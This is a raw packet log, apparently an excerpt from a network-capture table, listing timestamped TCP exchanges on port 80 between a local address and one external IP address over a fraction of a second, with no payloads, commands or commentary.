Apr 13, 2024 20:21:14.310491085 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310518026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310529947 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310555935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310564995 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310594082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310632944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310648918 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310677052 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310714006 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310725927 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310750961 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310789108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310806036 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310825109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310861111 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310869932 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310897112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310919046 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.310933113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310969114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.310976982 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.311007023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.311038017 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.311043978 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.311055899 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.311081886 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.311117887 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.311120033 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.311137915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.311157942 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.311171055 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.311218023 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.312424898 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312469959 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312501907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.312509060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312520981 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.312549114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312566996 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.312588930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312624931 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312644005 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.312664986 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312702894 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312731981 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.312731981 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.312741995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312752962 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.312778950 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312807083 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.312814951 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312827110 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.312853098 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312890053 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312901974 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.312927008 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.312947035 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.312963963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313000917 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313011885 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313035965 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313038111 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313066006 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313075066 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313090086 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313112020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313124895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313150883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313186884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313191891 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313224077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313260078 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313271999 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313296080 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313332081 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313340902 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313369036 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313405037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313416958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313442945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313483953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313498974 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313520908 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313559055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313569069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313595057 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313595057 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313596010 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313632965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313643932 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313669920 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313702106 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313709021 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313721895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313745022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313750982 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313783884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313806057 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313822031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313842058 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313858032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313875914 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313895941 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313932896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313970089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.313971996 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.313992023 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314007044 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314043999 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314057112 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314083099 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314119101 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314135075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314135075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314155102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314163923 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314193964 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314233065 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314269066 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314281940 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314281940 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314306021 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314308882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314343929 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314380884 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314390898 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314418077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314436913 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314455032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314491987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314501047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314527988 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314564943 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314600945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314603090 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314603090 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314637899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314675093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314706087 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314714909 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314726114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314752102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314790010 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314801931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314821005 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314826965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314838886 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314865112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314902067 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314929962 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314939022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.314949989 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.314975977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315012932 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315021992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315021992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315049887 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315085888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315114975 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315120935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315135002 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315159082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315180063 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315196037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315233946 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315239906 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315269947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315275908 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315304995 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315308094 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315324068 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315345049 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315366983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315382004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315419912 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315423012 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315423012 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315457106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315493107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315529108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315531015 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315548897 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315566063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315602064 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315629005 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315639019 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315677881 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315692902 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315716028 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315752983 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315766096 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315789938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315819025 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315829992 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315838099 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315866947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315881968 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315907001 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315943956 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.315957069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.315980911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316018105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316026926 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316055059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316106081 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316118956 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316143036 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316175938 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316180944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316195011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316236973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316278934 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316287994 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316287994 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316318989 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316322088 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316355944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316392899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316416025 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316431046 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316468954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316478014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316498041 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316504955 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316540956 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316544056 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316560030 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316581011 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316590071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316618919 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316632032 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316656113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316672087 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316694021 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316739082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316751003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316751003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316776991 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316813946 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316852093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316853046 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316889048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316890001 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316910028 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316926003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.316935062 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.316962957 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.317001104 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.317034960 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.317038059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.317054987 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.317075014 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.317095995 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.317111015 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.317126989 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.317148924 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.317203999 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.317212105 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.317241907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.317279100 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.317289114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.317316055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.317327976 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.317353010 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.317405939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651485920 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651515961 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651535034 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651552916 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651573896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651591063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651609898 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651628017 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651645899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651664972 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651683092 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651686907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651686907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651686907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651686907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651686907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651686907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651686907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651701927 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651722908 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651727915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651727915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651738882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651741028 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651761055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651767969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651777983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651804924 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.651830912 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651848078 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651866913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651885033 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651902914 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651920080 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651938915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651957035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.651976109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652004004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652004957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652004957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652004957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652004957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652004957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652004957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652004957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652005911 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652040958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652041912 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652061939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652081013 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652089119 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652118921 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652138948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652158022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652195930 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652195930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652205944 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652246952 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652267933 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652304888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652323961 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652342081 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652375937 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652379990 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652390003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:14.652416945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:14.652425051 CEST	49744	80	192.168.2.4	193.233.132.167
